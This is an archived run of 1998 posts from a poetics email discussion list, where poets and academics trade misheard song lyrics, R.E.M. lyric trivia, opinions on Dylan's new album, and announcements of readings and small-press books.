> *some of my faves: instead of the stones' "I'm so hot for her and she's so cold," "I'm so affable and she's so cold." instead of the beatles' "lady madonna," a friend's mother used to hear "knee-deep in donuts." another friend wd hear the beegees' "more than a woman to me" as "bald-headed woman to me."*
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>
> *"Mondegreen," I think, would also make a useful word to yell to your golfing partners in describing your location.*
>
> *Gwyn*

Susan M. Schultz
Dept. of English

1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

↑ Index

233. d powell
Re: And Lady Mondegreen
Fri 9 Jan 1998

Okay,

I thought the first line of the Beach Boys' "Help me Rhonda" was "Since she put me down there's an owl hooting in my head." And I thought the second line of the chorus in 3 Dog Night's "Joy to the World" was "all the poison squirrels." And I thought I heard voices in the background of Jimmie "JJ" Walker's cover of "Abbadabba Honeymoon" saying "The sow is mine." None of which has helped me a lick in deciphering my own handwriting.

==========
D A Powell [redacted]
==========

Mark W Scroggins wrote:
>My personal fave mishearing is a friend's "Caribou Queen" for >Billy
>Ocean's "Caribbean Queen"--"Now our hearts stampede as one" etc. >A
>similar phenomenon that's proved productive in my own writing is >my
>inability to make out my handwriting in earlier drafts, producing
>interesting counterintuitive revisions. What the hell _is_ that >word?
>
>Mark Scroggins
>
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>From: Mark W Scroggins <[redacted]>
>Subject: Re: And Lady Mondegreen
>To: [redacted]
>In-Reply-To: ><[redacted]>
>
>

↑ Index

234. **Gwyn McVay**

Re: And Lady Mondegreen

Fri 9 Jan 1998

>>And my mother thought that "ticket to ride" was "I got a chicken to ride." Not bad, come to think of it. sms

But Susan, isn't that exactly what we're engaged in here: riding poultry?

Gwyn (cf. the Riding Poultry segment on a not-too-far-back /Prairie Home Companion/)

↑ Index

235. **d powell**

Re: The World's Best Literature As Yet Translated Into Engli

Fri 9 Jan 1998

There's a wonderful book by a French writer--I'm blanking on his name and this probably someone everyone knows--the book is called "le Silence de la Mer" and as far as I know it's never been translated into English.

==========
D A Powell [redacted]
==========

Harold Rhenisch wrote:
>>> I want to do a sidebar that goes something like: Ten Books You
>>>Can't Read: The World's Best Literature As Yet Translated Into >English. >This
>>>one is especially for you on the list from Spain, Israel, >France, Hong >Kong,
>>>and all the enthusiasts thereof. Any reflections on the art of >translation
>>>are also welcome.
>
>There's an incredible book about WW1 on the Eastern Front, >written about a
>German Doctor in Romania. "Romanian Notebook" by Hans Castorp. It >was
>published in a pretty darn good English translation in the late >20s. This
>is a book that should be a film. Brutal. Humane. Surreal. And >very much
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>Erich Kaestner's "Notebene 49" is also a vital document, >detailing his
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>Director confesses that he has come to hate The Trout Quintet, >but that is
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>the form of the poem which is the play _is_ the Quintet. I wish I >could see
>this thing onstage.
>
>best,
>
>Harold Rhenisch
>[redacted]
>
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>From: Harold Rhenisch <[redacted]>
>Subject: Re: The World's Best Literature As Yet Translated >Into English
>To: [redacted]
>
>

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236. Harold Rhenisch
Hans Castorp ain't
Fri 9 Jan 1998

God, it is the Magic Mountain.

My memory is not worth anything much today. I must have a plain weird filing system.

The guy's real name: Hans Carossa.

Geez. Carossa Carossa Carossa.

Born Dec. 15, 1878 as son of a doctor in Bad Toelz.

No mountain sanitoriums for this guy. From the jacket: During the first world war he was a doctor with the infantry on the eastern and western fronts and was wounded (this is supposed to signify something, I guess. A badge of legitimacy?). His poetic works include: The Fate of Dr. Buerger; The Transformation of a Young Man, and so on.

Well, the other names are ok, anyway.

Sorry everyone.

Harold

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237. William Marsh
Stipe
Fri 9 Jan 1998

---

while we're on the subject, can anyone tell me what he's saying (or what you think he's saying) in the chorus of that very famous song from a few years ago (Sidewinder) ...

"calling in to wake her up"

i've heard interpretations as wild as

"call me in Jamaica"

and actually got into an argument with friends over it one night!

bill marsh

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
- -

↑ Index

238. David Gitin
Hans Castorp
Fri 9 Jan 1998

This is a multi-part message in MIME format.

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Harold R., Surely that's a nom de plume. Remember Mann's MAGIC = MOUNTAIN?

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Remember Mann's MAGIC MOUNTAIN?</FONT></FONT></DIV></BODY></HTML>

↑ Index

239. William Burmeister Prod
Re: Stipe
Fri 9 Jan 1998

"Call me in Jamaica" sounds close to me. I'm still trying to figure out if I'm right about REM's "Orange Crush" and the song called (or about) "Cuyahoga."

-William B.

On Jan 9, 11:36am, William Marsh wrote:
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> bill marsh

↑ Index

240. Mark W Scroggins
Re: Stipe
Fri 9 Jan 1998

Those guesses sound as good as any. With REM, there was a certain aesthetics of the undecipherable lyric (at least in those first five or six albums). Nobody could tell what the heck Michael Stipe was saying, so it must be brilliant, right? When they started mixing their songs so you could make out the words, much of the glamour wore off right there. Mark Scroggins

On Fri, 9 Jan 1998, J. Tate wrote:

> *Yeah, I've yet to figure out the "Cuyahoga" lyrics completely. Is it "up underneath the riverbed"? "Winnie skinned it you and me"?*
>
> *Jody*
>
> *Joseph Tate*
> *Graduate Student*

> *Department of English*
> *U. of Washington, Seattle*
>
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>
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↑ Index

241. **J. Tate**
Re: Stipe
Fri 9 Jan 1998

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Joseph Tate
Graduate Student
Department of English
U. of Washington, Seattle

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> *bill marsh*

↑ Index

242. **William Burmeister Prod**

Re: Stipe

Fri 9 Jan 1998

Yeah Mark, I'm in general agreement on rock lyrics in general (about the glamour wearing off on close examination; nothing fractal about many of them). I was always intringued by REMs earlier songs and how they seemed to be revisionist in a manner of writing from memory. Cuyahoga for example. What I remember is:

Let's put our heads together
to find a new country of
Our father's, father's, father's tried
to erase the parts they didn't like

This is where they walked (swam)
this is where they swam
take a picture here
...

and Jody's guesses sound real close to the missing parts. Now I need to see a recent veteran of the MLA about not writing me back.

best,

William

On Jan 9, 12:43pm, J. Tate wrote:
> Subject: Re: Stipe
> Yeah, I've yet to figure out the "Cuyahoga" lyrics completely. Is it
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>
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>
>
> Joseph Tate
> Graduate Student
> Department of English
> U. of Washington, Seattle
>

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> *Mark Scroggins*

↑ Index

243. Hugh Steinberg
Re: And Lady Mondegreen
Fri 9 Jan 1998

Mondegreens don't just happen in songs. I still remember my ten year old brother telling me solmenly "Abstinence makes the heart Jane Fonda."

Hugh Steinberg

↑ Index

244. Hednry Gould
Re: Stipe
Fri 9 Jan 1998

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> *six albums). Nobody could tell what the heck Michael Stipe was saying, so it must be brilliant, right? When they started mixing their songs so you could make out the words, much of the glamour wore off right there.*
> *Mark Scroggins*

Dante puts some "musical" lyric poets in Purgatory, singing siren songs... trying to hold back the pilgrim. We live in a verbal jungle of steaming vocables; there are these huge scented summer squish vines, with no real bark or root or pith or strength, it's all lush shell. Writing involves nakedness in the humble sense, renunciation & sorrow. "Why not leave their private sorrows to people? Is sorrow not, one asks, the only thing in the world people really possess?" - Vladimir Nabokov, PNIN (a wonderful, hilarious novel) - nothing's really funny until it's heartbreaking. avoid the bland.

how does Olson put it? something about "so many ready
to lie down in Tiamat" (the singers) Olson was looking for
a "middle voice" of salt-fish-laden truth.

- Henry Gould

↑ Index

245. John Cayley
New Reality Site
Fri 9 Jan 1998

The Web Site of

Reality Street Editions

http://www.demon.co.uk/eastfield/reality/

has been updated and redesigned.

Please visit.

Details of new books include:

Lisa Robertson: *Debbie : an epic*
(UK readings at Dartington College of Arts for 'Spelt!' 15 Jan.
and Serpentine Gallery Bookshop, London 16 Jan.)
If you don't have this excellent book, then get it now.

Maurice Scully: *Steps*

cris cheek & Sianed Jones: *Songs from Navigation* (with CD)

Nicole Brossard (trans. Caroline Bergvall): *Typhon Dru*

Ken Edwards: *Futures* (novel)

Further inquires: [redacted]

*** apologies for any cross-postings ***

↑ Index

246. Brent Long
Re: dylan
Fri 9 Jan 1998

Anyone besides me going to see Dylan with Van Morrison this month? Can't wait-have seen Dylan four times and it has always been amazing....first time was with Taj Mahal and Albert King, last time was just him and an acoustic back-up band...and the new album IS excellent.

At 09:17 AM 1/9/98 -0500, you wrote:
>On Fri, 9 Jan 1998, Michael Magee wrote:
>>
>> My sister got it for me for Christmas - I think it's very good and that
>> the talk ("best since Blood on the Tracks" etc) is not hype. It's kind of
>> Tom Waits-ish - raw production, rhythmically interesting, lots of very
>> effective subtle accompaniment by the musicians he assembled. It sounds
>> like he'sbeen listening more closely to the (real) blues and (real) folk
>> that got him started in the first place, which ends up making things sound
>> more fresh, not surptising I guess, since Robert Johnson is still a good
>> deal more "alternative" than the great majority of the schlock on the
>> "alternative" radio stations.
>
>I'm with MM on this. It's a fine, fine album, from the first cut
>"Lovesick" ("I'm sick of love / I wish I'd never met you") to the last,
>16-minute "Highlands." It _does_ have a Tom Waitsish feel to it, with
>maybe a bit of Leonard Cohen. The songs keep creating dark moods of
>betrayal and loss and then breaking expectations of a "silver lining"
>follow-up line. His endless tour has clearly taught him a lot.
>
>Cheers,
>David
>~~~

↑ Index

247. **d powell**
Re: And Lady Mondegreen
Fri 9 Jan 1998

And From Kevin Killian's brilliant "Bedrooms Have Windows":

"Surely good Mrs. Murphy shall follow me all of my days."

==========
=====
D A Powell [redacted]
==========
=====

Hugh Steinberg wrote:
>Mondegreens don't just happen in songs. I still remember my ten >year old
>brother telling me solmenly "Abstinence makes the heart Jane >Fonda."
>
>Hugh Steinberg
>
>----------
>Return-Path: <[redacted]>
>Delivered-To: [redacted]
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>Received: from deliverance.acsu.buffalo.edu (128.205.7.57)
> by herring.com with SMTP; 9 Jan 1998 23:51:44 -0000
>Received: (qmail 27453 invoked from network); 9 Jan 1998 23:51:08 >-0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)
> by deliverance.acsu.buffalo.edu with SMTP; 9 Jan 1998 23:51:08 >-0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
>LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8c) with spool id 26198662 >for
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> listserv.acsu.buffalo.edu with SMTP; 9 Jan 1998 >23:51:03 -0000
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by
> postal.grin.net (8.8.5/8.8.5) with SMTP id PAA12642 for
> <[redacted]>; Fri, 9 Jan 1998 >15:55:35 -0800
> (PST)
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>Sender: UB Poetics discussion group ><[redacted]>
>From: Hugh Steinberg <[redacted]>
>Subject: Re: And Lady Mondegreen
>To: [redacted]
>
>

↑ Index

248. **Chris Piuma**

Re: Stipe

Fri 9 Jan 1998

Well, if people are interested: the online R.E.M. community's collective best guesses are located at http://www.retroweb.com/remlyrics/index.html -- much effort over the years, much hunting down of published fragments, and much listening to live version has helped put these together.

J. Tate showed great grace and sensitivity to write on 98.01.09:

> *Yeah, I've yet to figure out the "Cuyahoga" lyrics completely. Is it "up underneath the riverbed"? "Winnie skinned it you and me"?*

Hey, that's an easy one: "We knee-skinned it, you and me." Hence the river becoming red.

> *On Jan 9, 11:36am, William Marsh wrote:*
> *Subject: Stipe*
> *while we're on the subject, can anyone tell me what he's saying (or what you think he's saying) in the chorus of that very famous song from a few years ago (Sidewinder) ...*
>
> *"calling in to wake her up"*
>
> *i've heard interpretations as wild as*
>
> *"call me in Jamaica"*
>
> *and actually got into an argument with friends over it one night!*

This lyric's been published: "Call me when you try to wake her up."

-- Chris [Steve] Piuma, etc. Nothing is at: http://www.brainlink.com/~cafard [Editor of _flim_, Keeper of the R.E.M. Lyric Annotations FAQ, MST3K #43136] ....this message brought to you by the letters N and W and the number

36.... You deploy your favorite logical operator herein. Or not. --Ron Henry, "Whom"

↑ Index

249. **J. Tate**
Re: Stipe
Fri 9 Jan 1998

This is right on target, On Fri, 9 Jan 1998, Mark W Scroggins wrote:

> *Those guesses sound as good as any. With REM, there was a certain aesthetics of the undecipherable lyric (at least in those first five or six albums). Nobody could tell what the heck Michael Stipe was saying, so it must be brilliant, right? When they started mixing their songs so you could make out the words, much of the glamour wore off right there.*

With the advent of digital recording REM opted to continue recording Stipe's lyrics, for some time, on analog equipment to retain that "undecipherable"-ness. Which is opposite to the norm where most bands record instruments on analog to retain a raspy feel and vocals are normally recorded on digital for clarity.

For a while this was because Stipe's voice had a tendency to crack. being from the olde South where they started out, I've heard numerous bootlegs where Stipe's voice makes ya wince. He often even sang with his back to the crowd.

Jody

Dept of English
U. of Washington, Seattle

↑ Index

250. **Karen and Trevor**
Stipe--What's the Frequency?
Fri 9 Jan 1998

So anyone heard about the origin for "what's the frequency Kenneth?"

↑ Index

251. **Susan Schultz**
Re: And Lady Mondegreen
Fri 9 Jan 1998

It's the (Riding) Jackson poultry that especially intrigues and troubles me.

sms

On Fri, 9 Jan 1998, Gwyn McVay wrote:

> *And my mother thought that "ticket to ride" was "I got a chicken to ride." Not bad, come to think of it. sms*
>
> *But Susan, isn't that exactly what we're engaged in here: riding poultry?*
>
> *Gwyn (cf. the Riding Poultry segment on a not-too-far-back /Prairie Home Companion/)*

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

↑ Index

252. Jordan Davis
Re: Stipe
Fri 9 Jan 1998

Weenie skins? No, it's "we knee-skinned the riverbed, we knee-skinned it you and me." That's actually one of Gavin Edwards'. Gavin stole Larry Fagin's most excellent "Scuse me while I kiss this guy." J

On Fri, 9 Jan 1998, J. Tate wrote:

> *Yeah, I've yet to figure out the "Cuyahoga" lyrics completely. Is it "up underneath the riverbed"? "Winnie skinned it you and me"?*
>
> *Jody*
>
> *Joseph Tate*
> *Graduate Student*
> *Department of English*
> *U. of Washington, Seattle*
>
> *On Fri, 9 Jan 1998, William Burmeister Prod wrote:*
>
> *"Call me in Jamaica" sounds close to me. I'm still trying to figure out if I'm right about REM's "Orange Crush" and the song called (or about) "Cuyahoga."*

> *-William B.*
>
> *On Jan 9, 11:36am, William Marsh wrote:*
> *Subject: Stipe*
> *while we're on the subject, can anyone tell me what he's saying (or what you think he's saying) in the chorus of that very famous song from a few years ago (Sidewinder) ...*
>
> *"calling in to wake her up"*
>
> *i've heard interpretations as wild as*
>
> *"call me in Jamaica"*
>
> *and actually got into an argument with friends over it one night!*
>
> *bill marsh*

↑ Index

253. **Schuchat Simon**
Re: And Lady Mondegreen
Sat 10 Jan 1998

Gladly the cross-eyed bear

↑ Index

254. **Alan Myouka Sondheim**
Re: And Lady Mondegreen
Sat 10 Jan 1998

freedom's just another word for nothing left to do
freedom's just another word for nothing left to lose
freedom's just another word for nothing left to choose

↑ Index

255. **David Gitin**
Thanks to Simon Schuchat
Sat 10 Jan 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

Thanks, Simon Shuchat, for Robert Duncan's choice, "gladly the = cross-eyed bear" ("Gladly the cross I bear").

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color=3D#000000>Thanks,=20
Simon Shuchat, for Robert Duncan's choice, "gladly the cross-eyed=20
bear" ("Gladly the cross I=20
bear").</FONT></FONT></DIV></BODY></HTML>

↑ Index

256. George Bowering
Re: mishearings
Sat 10 Jan 1998

You probably dont know songs that old, but when I was a kid and heard some crooner doing "Dancing in the Dark" I thought he was singing "Dancing in the dark/ With a tuna fish"

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

257. George Bowering
Re: And Lady Mondegreen
Sat 10 Jan 1998

> *And my mother thought that "ticket to ride" was "I got a chicken to ride."*
> *Not bad, come to think of it. sms*

When I was playing ball in shorts once last summer, well I should mention that I have thin white legs---my daughter shouted so all the other players could hear "Are those your legs, or are you riding a chicken?"

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

258. Alan Myouka Sondheim

last post on diseases as a result of misinterpretation

Sat 10 Jan 1998

---

rewrite post as last post with additions

The Attempted* Rewrite: Diseases of Being

Dreaming, dreaming, unwell, dreaming, I can no longer understand my dreams; dream-signs written in false dream-kanji clutter the dream- landscape - dream-writing becomes inert, dreaming, signifier of incomprehension, dreaming, and writing slips back into the world it once mediated. Dream-world or world, dreaming, dream-mediation hold- ing back the dream-real or real, dreaming, now lost to dream-interpre- tation: they are _here, dreaming,_ they are my dream-foreign; there is no dream-comprehension, dreaming, dream-therapeu- tic; only broken dream-bodies with common dream-blood and dream-bones abound. You see you may take "dream" out of this in any "dream-space, dream- ing," but you cannot add past the inert; I am dream-suffocated in the dream-real or real; I am dream-mute, dreaming, suspicious of _all_ dream-meaning and meaning; I do not understand my dream-face or scars on my body; I do not dream-age or age.. Dreaming, dreaming, unwell, dreaming, I am manipulating signs _as I speak_ and I no longer dream-understand what my dream-face or face is saying, dreaming, is desperate, dreaming, unwell. Dreaming, dreaming, I dream-type or type-this to you "given the hope that" some dream-sense or sense will come, dreaming, but I am gone, dreaming, dream-dead or dead, dreaming, turned to dream-ash or ash, dreaming, these are kanji, dreaming, are they not, dreaming, you, dreaming, stone, dreaming, ash, dreaming, body, dreaming, dream, dreaming, language, dreaming, ash, dreaming, kanji, dreaming, see? See in the real, dreaming, the scene everywhere, dreaming, the seen every- where in the real. I am dying, dreaming, here. Dreaming collapses reals into dreams. Again and again as an example I can watch my body fall. Again and again I am dreamed.

(Sometimes I think if I knew who you are, it would be simpler. I would untangle. But I do not know who you are, where you are, when you are there. I do not know if you are there. I do not know if there is you. If I understood _how to properly ask the question,_ with the requisite degree of etiquette, with the requisite forms of grammar, with the in- visible forms of grammar, with the passing-forms, with the passings, then - if I understood _how to ask the question,_ already it would be a simpler untangling. I can continue to speculate, but it is from ig- norance. I have forgotten axioms, bases, which I never knew. When my mouth opens, it empties. It empties itself of speech and sensibility. When I open my body, it is a carapace filled with ornament. There are kanji I cannot read, dream-kanji, not-real kanji. Nothing readable by any conceivable reader in this or any possible world. Do you under- stand at least this much, the possibility of worlds? The relative ab- sence of such worlds, and there are no mirrors.

This is it, the writing of worlds without mirrors, and in a foreign language, and there's more, because they're impossible worlds, and where would this lead? Neither neurosis nor psychosis, but a relative _disease of the throat_ I have written about before, continually writ- ten about. A _disease of the throat_ or perhaps mind in the vocal apparatus itself - I would say that - something never leaving a trace but drawing itself in _uncanny_ ways, as if there were a face behind the nonsense, or as if nonsense were organized _in such a manner,_ through the proper forms, as to appear otherwise than itself - as if I myself were capable of such appearance, this _otherwise_ splitting me from language, slitting or cutting my throat, the blood forming mean- ingless patterns on the ground.)

*Footnote to the above: At first, I would do nothing but create the form (dream-x and x). Then it seemed that the equation seeped from the page, (virtual-x and x), shaming me. Then I forgot my name. Then I wrote and rewrote, forgetting my name. Then would I pause, this most important of all writings, where worlds are mute; can I even say this?

↑ Index

259. **rsillima**

Dead ants are blowin' in the wind

Sat 10 Jan 1998

My subject is a popular Dylan mondegreen.

The best site on the web for mondegreens (or at least my favorite) is:

www.sfgate.com/columnists/carroll/mondegreens.shtml

There is one example in there, be warned, that ruined my ability to
listen to Lucy in the Sky with Diamonds ever again:
Instead of "the girl with kaleidoscope eyes"
"the girl with colitis goes by"

On the new Dylan CD, yes, it's simply terrific. Certainly seems the best since Nashville Skyline and possibly even Blonde on Blonde.

Ron

↑ Index

260. Rachel Loden
Re: Stipe--What's the Frequency?
Sat 10 Jan 1998

Karen and Trevor wrote:
>
> So anyone heard about the origin for "what's the frequency Kenneth?"

From the R.E.M. lyric annotations FAQ:

http://www.brainlink.com/~cafard/remlafaq.txt

"The title of the song . . . refers indirectly to the incident in Oct. 1986 in which Dan Rather . . . was attacked by two unknown men in the street in New York City wearing suits and sunglasses. The men kept asking Rather "What is the frequency?" and called him "Kenneth" while they shoved and accosted him; to date the incident has never been explained completely . . ."

I offer my own incomplete explanation in "Clueless in Paradise" (published a few years before the R.E.M. song). Am guessing there might be enough "what is the frequency" poems for a good-sized anthology by now.

Rachel L.

↑ Index

261. robert drake
forward--re: "hoaxes"
Sat 10 Jan 1998

---

from the RHIZOME mailinglist (http://www.rhizome.com):

> *1.*
>
> *Date: 1.9.98*
> *From: rachel greene ([redacted])*
> *Subject: editor's note*

> *just to keep RHIZOMERS up to date, last week's imposter posts (reviews of new media artists were published as if they were written by certain well-known critics), generated some outside interest. a few days ago, i was contacted by a new york times correspondent. the article about the net.art pranks is available here:*
>
> *http://www.nytimes.com/library/cyber/mirapaul/010898mirapaul.html*
>
> *i think the article is good -- except that what i wanted to communicate about reading these pranks as part of a particular art historical tradition isn't very clear. so, some examples of artists, besides the prankster, who have explored art as a discourse, and considered the operations of its institutions (museums, galleries, the market, criticism, publishing) are marcel broodthaers, dan graham, art & language, and joseph kosuth.*

↑ Index

262. **rsillima**

Shameless self-promotion

Sat 10 Jan 1998

On Sunday, January 18, the Walt Whitman Cultural Arts Center in Camden, NJ, will hold a giant reading entitled Regarding Whitman, poets reading their own work influenced by the good gray master. Reading starts at 2:30 p.m. and goes to whenever. There will be a maximum of 25 readers. Those already confirmed include:

Nathalie Anderson
Herman Beavers
Jennifer Bryant
Marcus Cafagna
Annette Egea
Eli Goldblatt
Sharon Goodman
John Green
Cornell Hardy
Charles Hewins
Nzadi Keita
Jena Osman
Gil Ott
Stefani Jane Parino
Vladimir Pogorelov
Vanessa Ray
Ron Silliman

Heather Thomas
Rocky Wilson

Alicia Askenase is the literary coordinator and I certainly hope she reads as well. Alicia, as some of you may recognize, is one of the editors of 6ix.

The Walt Whitman Cultural Arts Center is in
Johnson Park at 2nd and Cooper Streets
Camden, NJ

Roughly 3 minutes from the east end of the Ben Franklin Bridge from Philly as I read Alicia's directions.

For more info, call the center at [redacted].

Ron

↑ Index

263. B. Taylor
Re: And Lady Mondegreen
Sat 10 Jan 1998

I always heard "Our Lips Are Sealed," an '80's song by the GoGos (whose diction was particularly poor) as "Aunt Cecile."

And lifelong Communist Party member Jessica Mitford heard "fine old conflict" for "final conflict" in the lyrics of the Internationale.

Brigham

↑ Index

264. J. Tate
Re: Stipe--What's the Frequency?
Sat 10 Jan 1998

Isn't that what the teenagers said as they beat Dan Rather?

On Fri, 9 Jan 1998, Karen and Trevor wrote:

> *So anyone heard about the origin for "what's the frequency Kenneth?"*

Or was it another anchorman who was attacked?

Jody

U. of Washington

↑ Index

265. **J. Tate**
Re: Stipe--What's the Frequency?
Sat 10 Jan 1998

I posted on this question, but someone had a much better response than I did.

On Fri, 9 Jan 1998, Karen and Trevor wrote:

> *So anyone heard about the origin for "what's the frequency Kenneth?"*

BUT, someone once told me that these lyrics were an allusion to a novel, but I've forgotten what novel:

What'd you say I wouldn't join?
Disgust is not the same as apathy.

Does anyone know what there lines are from?

Jody

Dept of English
U of Washington

↑ Index

266. **Chris Piuma**
Re: Stipe--What's the Frequency?
Sat 10 Jan 1998

[Oops -- meant to send this to the list. Thanks to the person who quoted me.]

I can't believe this thread continues.

Karen and Trevor showed great grace and sensitivity to write on 98.01.09:

> *So anyone heard about the origin for "what's the frequency Kenneth?"*

From Ron Henry's excellent R.E.M. FAQ:

o C5. "What do the lyrics to 'What's the Frequency, Kenneth?' mean?"

Stipe was quoted in several interviews at the time of _Monster_'s release as saying it is written from the perspective of a person who's getting older trying to understand current youth culture.

Note that the lyric (printed inside) contains a quote from Richard Linklater, director of the film _Slacker_: "Withdrawal in disgust is not the same as apathy" -- a rebuttal of sorts to those of older generations who would claim that Generation Xers, or "slackers," are merely spoiled, lazy brats. (This line of argument would say that "slackers" have *chosen* to exclude themselves from mainstream society as a protest against its empty values.)

It has also been noted that the "shirt of violent green" mentioned in the lyric may by a reference to a Spider Robinson short story entitled "Lady Slings the Booze," which also makes use of the phrase "What's the frequency, Kenneth?"

o C6. "What is the connection between 'WTF,K?' and Dan Rather?"

The title of the song itself, it needs to be explained, refers indirectly to the incident in Oct. 1986 in which Dan Rather, anchor for C.B.S.'s network news broadcast, was attacked by two unknown men in the street in New York City wearing suits and sunglasses. The men kept asking Rather "What is the frequency?" and called him "Kenneth" while they shoved and accosted him; to date the incident has never been explained completely (though some have theorized that "Kenneth" might be Ken Schafer, an electronics expert with whom Rather had worked in connection with Soviet TV broadcasts). Since the incident, "What's the frequency?" and calling a clueless person a "kenneth" have become a trendy youth culture catch-phrases (which is probably, why Stipe wanted to use it, rather than an interest in Rather).

Please note that the supposed reference to Rather and CBS news in the "Ignoreland" lyric was incorrect, so there is *no* tie-in that we know of between the two songs regarding the newsanchor. Mr. Rather, meanwhile, has taken the "tribute" in good spirits and has been quoted as saying he has always liked R.E.M., that he owns the _Monster_ CD, and suggested jokingly that the band's name really stands for "Rather's Excellent Musicians," before proceeding to sing the chorus of "It's the End of the World As We Know It," during his recent Letterman appearance!

Also note in passing that the album _Lolita Nation_ by Game Theory, released in 1987 and produced by Mitch Easter (there's another R.E.M. connection) contains a similarly titled song: "Kenneth -- What's the Frequency?"; WTF,K? is not a cover of that, of course -- the resemblance pretty much stops at the title. Other newsgroup readers here have noted that the phrase may also have popped up in the movie "The Conversation" and in Dan Clowes' comic "Eightball".

Phew! I'm so sure you all cared... Ron himself is on this list, somewhere, by the way. For more R.E.M. info, check out the main FAQ at http://www.geocities.com/SoHo/8789/remfaq.htm .

And while you're there, check out Ron's lit e-mag, "Aught", located at http://www.geocities.com/SoHo/8789/aught.htm , which is looking for submissions for its second issue. It's probably of more interest to most of you than the R.E.M.-related stuff.

Apologizes to those of you who really don't care about R.E.M., especially when not discussed in a Poetics context.

-- Chris [Steve] Piuma, etc. Nothing is at: http://www.brainlink.com/~cafard [Editor of _flim_, Keeper of the R.E.M. Lyric Annotations FAQ, MST3K #43136] ....this message brought to you by the letters N and W and the number 36.... You deploy your favorite logical operator herein. Or not. --Ron Henry, "Whom"

↑ Index

267. **Don Byrd**

Re: Dead ants are blowin' in the wind

Sat 10 Jan 1998

[redacted] wrote:

> *On the new Dylan CD, yes, it's simply terrific. Certainly seems the best since Nashville Skyline and possibly even Blonde on Blonde.*
>
> *Ron*

When I first heard the new Dylan, I thought, "Gee, this is just a 50-something year-old guy whining," but after listening repeatedly (for some reason I _did_ listen repeatedly), I have realized that it is wonderful whining.

Don

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

268. **David Gitin**

translation

Sat 10 Jan 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

While we're engaged in mishearing, here are some translation issues. = An American T-shirt maker in Miami printed shirts for the Spanish = market which promoted the Pope's visit. Instead of "I saw the Pope" (el = papa), the shirts read "I saw the potato" (la papa). When Parker = Pen marketed a

ball-point pen in Mexico, its ads were supposed to have = read, "it won't leak in your pocket and embarrass you." The company = though the word "embarazar" (to impregnate) meant 'to embarrass,' so the = ad read: "It won't leak in your pocket and make you pregnant."

And then, for those interested in semiotics: when Gerber started selling = baby food in Africa, they used the same packaging as in the US, with the = beautiful baby on the label. Later they learned that in Africa, compaies = routinely put pictures on the label of what's inside, since most people = can't read English. (Hmm, wonder what Dan G. thinks about this one).

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engaged in=20
mishearing, here are some translation=20
issues.          
An =
American=20
T-shirt maker in Miami printed shirts for the Spanish market which =
promoted the=20
Pope's visit. Instead of &quot;I saw the Pope&quot; (el papa), the =
shirts read=20
&quot;I saw the potato&quot; (la=20
papa).        When Parker Pen =
marketed a=20
ball-point pen in Mexico, its ads were supposed to have read, &quot;it =
won't=20
leak in your pocket and embarrass you.&quot; The company though the word =

&quot;embarazar&quot; (to impregnate) meant 'to embarrass,' so the ad =
read:=20
&quot;It won't leak in your pocket and make you =
pregnant.&quot;</FONT></DIV>
<DIV><FONT color=3D#000000 face=3D"Bookman Old =
Style"></FONT> </DIV>
```

<DIV><FONT color=3D#000000 face=3D"Bookman Old Style">And then, for =
those interested=20
in semiotics: when Gerber started selling baby food in Africa, they used = the=20
same packaging as in the US, with the beautiful baby on the label. Later = they=20
learned that in Africa, compaies routinely put pictures on the label of = what's=20
inside, since most people can't read English.   (Hmm, = wonder=20
what Dan G. thinks about this one).</FONT></DIV></BODY></HTML>

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269. rodrigo
Re: and lady mondegreen
Sat 10 Jan 1998

Susan: there goes some "riddles" I found (reading Riding):

"And talk in talk like time vanishes.
Ringing changes on dumb supposition,
Conversation succeeds conversation,
Until there's nothing left to talk about,
Except truth, the perennial monologue,
And no talker to dispute but itself"

***

"And you may write as it seems,
And as it seems, it is,
A seeming stilness
Amid seeming speed."

***

"And once more is yesterday".

Laura Riding

rodrigo

↑ Index

270. Robin Morris
Re: Dead ants are blowin' in the wind
Sat 10 Jan 1998

Personally, I'm happy if it can rate alongside _Oh Mercy_, a grossly underrated effort IMO. I'm still listening and deciding whether it does. _Time Out of Mind_ definitely has some beautiful songs, but I'm not sure I like the uni-coloredness of it.

Robin

> *On the new Dylan CD, yes, it's simply terrific. Certainly seems the best since Nashville Skyline and possibly even Blonde on Blonde.*
>
> *Ron*

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

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271. Robin Morris
Re: dylan
Sat 10 Jan 1998

Wow, where's this tour taking him? I saw him last summer with Ani DiFranco, a concert I probably would have more details to share if it hadn't been pouring rain and me without indoor seats (Tanglewood).

Robin

At 06:45 PM 1/9/98 -0500, you wrote:
>Anyone besides me going to see Dylan with Van Morrison this month? Can't
>wait-have seen Dylan four times and it has always been amazing....first
>time was with Taj Mahal and Albert King, last time was just him and an
>acoustic back-up band...and the new album IS excellent.
>

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

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272. Steven Clay

A Secret Location on the Lower East Side

Sat 10 Jan 1998

Announcing the opening reception for an exhibition at the New York Public Library

A Secret Location on the Lower East Side: Adventures in Writing 1960-1980

